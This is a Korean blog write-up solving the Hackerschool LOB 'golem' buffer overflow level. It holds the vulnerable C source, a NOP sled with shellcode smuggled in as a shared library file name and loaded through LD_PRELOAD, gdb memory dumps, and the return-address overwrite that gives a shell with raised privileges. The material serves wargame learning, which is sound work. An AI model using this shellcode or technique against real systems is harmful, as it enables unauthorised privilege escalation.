본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( skeleton -> golem ) by ORANG

LOB_skeleton

[skeleton@localhost skeleton]$ bash2

[skeleton@localhost skeleton]$ ls

golem  golem.c

[skeleton@localhost skeleton]$ cat golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - golem

        - stack destroyer

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

}


bash2부터 띄우고..

스택의 buffer 이후로, RET를 제외한 모든 부분을 0으로 초기화시킨다.


쉘코드를 올려야 하는데 buffer, argv, env 모두 사용할 수 없다..

처음 이문제를 풀때는 혼자 풀다가 막혀서 포기했었는데 공유 라이브러리와 LD_PRELOAD라는 힌트를 얻고서야 간신히 풀었던 문제다.

공유 라이브러리는 프로그램이 시작되기 전 심볼들을 로드하여 필요할 때마다 사용하는 동적 라이브러리이다. 임의의 실행파일을 공유 라이브러리를 사용하여 컴파일 하면, 링커가 실행파일에 ‘이 파일이 실행될 때 이 라이브러리를 로딩한다’라는 표시를 해둔다. 파일이 실행되어 공유 라이브러리를 사용하면, 그 후 공유 라이브러리를 사용하는 모든 프로그램은 만들어진 라이브러리를 사용하게 된다.

LD_PRELOAD를 통해 라이브러리를 공유 라이브러리 영역에 올리는게 가능하다.

결론적으로, 라이브러리 명을 올릴 수 있다.

[skeleton@localhost tmp]$ gcc test.c -fPIC -shared -o "/home/skeleton/tmp/`perl -e 'print 

"\x90"x40,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb

\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4

\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"

[skeleton@localhost tmp]$ ls

golem

golem.c

test.c

?????????????????????????????????????????^1ɱ2?l????u?2Qi00tii0cjo?QT????

[skeleton@localhost tmp]$ export LD_PRELOAD="/home/skeleton/tmp/`perl -e 'print "\x90"

x40, "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05

\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51

\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"

[skeleton@localhost tmp]$ env

PWD=/home/skeleton/tmp

LD_PRELOAD=/home/skeleton/tmp/^1ɱ2lu2Qi00tii0cjoQT⚱




공유 라이브러리 명으로 nop과 쉘코드를 올려주고, LD_PRELOAD 환경변수에 등록했다.


메모리 위에 제대로 올려져 있는지 확인해보면..




(gdb) disas main

Dump of assembler code for function main:

0x8048470 <main>: push   %ebp

0x8048471 <main+1>: mov    %esp,%ebp

0x8048473 <main+3>: sub    $0x2c,%esp

…생략…

0x80484e6 <main+118>: push   $0x2c

0x80484e8 <main+120>: push   $0x0

0x80484ea <main+122>: lea    0xffffffd8(%ebp),%eax

0x80484ed <main+125>: push   %eax

0x80484ee <main+126>: call   0x8048398 <memset>

0x80484f3 <main+131>: add    $0xc,%esp

0x80484f6 <main+134>: lea    0xffffffd8(%ebp),%eax

0x80484f9 <main+137>: mov    $0xbfffffcf,%edx

0x80484fe <main+142>: mov    %edx,%ecx

0x8048500 <main+144>: sub    %eax,%ecx

0x8048502 <main+146>: mov    %ecx,%eax

0x8048504 <main+148>: push   %eax

0x8048505 <main+149>: push   $0x0

0x8048507 <main+151>: lea    0xffffffd8(%ebp),%eax

0x804850a <main+154>: lea    0x30(%eax),%edx

0x804850d <main+157>: push   %edx

0x804850e <main+158>: call   0x8048398 <memset>

0x8048513 <main+163>: add    $0xc,%esp

0x8048516 <main+166>: leave

0x8048517 <main+167>: ret

End of assembler dump.

(gdb) b * main+166

Breakpoint 1 at 0x8048516

(gdb) r `perl -e 'print "A"x44, "BBB\xbf"'`

Starting program: /home/skeleton/tmp/./golem `perl -e 'print "A"x44, "BBB\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB


Breakpoint 1, 0x8048516 in main ()


…생략…

0xbffff5a8: 0x74656c65 0x742f6e6f 0x902f706d 0x90909090

0xbffff5b8: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff5c8: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff5d8: 0xeb909090 0xc9315e11 0x6c8032b1 0x8001ff0e

0xbffff5e8: 0xf67501e9 0xeae805eb 0x32ffffff 0x306951c1

0xbffff5f8: 0x69697430 0x6f6a6330 0x5451e48a 0xb19ae28a

0xbffff608: 0x0081ce0c 0x40013868 0x4000220c 0xbffffb47 




gdb 버전이 낮아서인지 find 명령어가 없어서 그냥 삽질로 찾았다.

메모리상에 존재함을 확인했으므로 0xbffff5c8으로 공격을 해보면..


일단 메모리 구조는 memset 부분을 보면 buf가 $ebp-40이므로

buf sfp ret

[40] [4] [4] 가 된다.



[skeleton@localhost skeleton]$ ./golem `perl -e 'print "A"x44, "\xc8\xf5\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bash$ id

uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)

bash$ my-pass

euid = 511

cup of coffee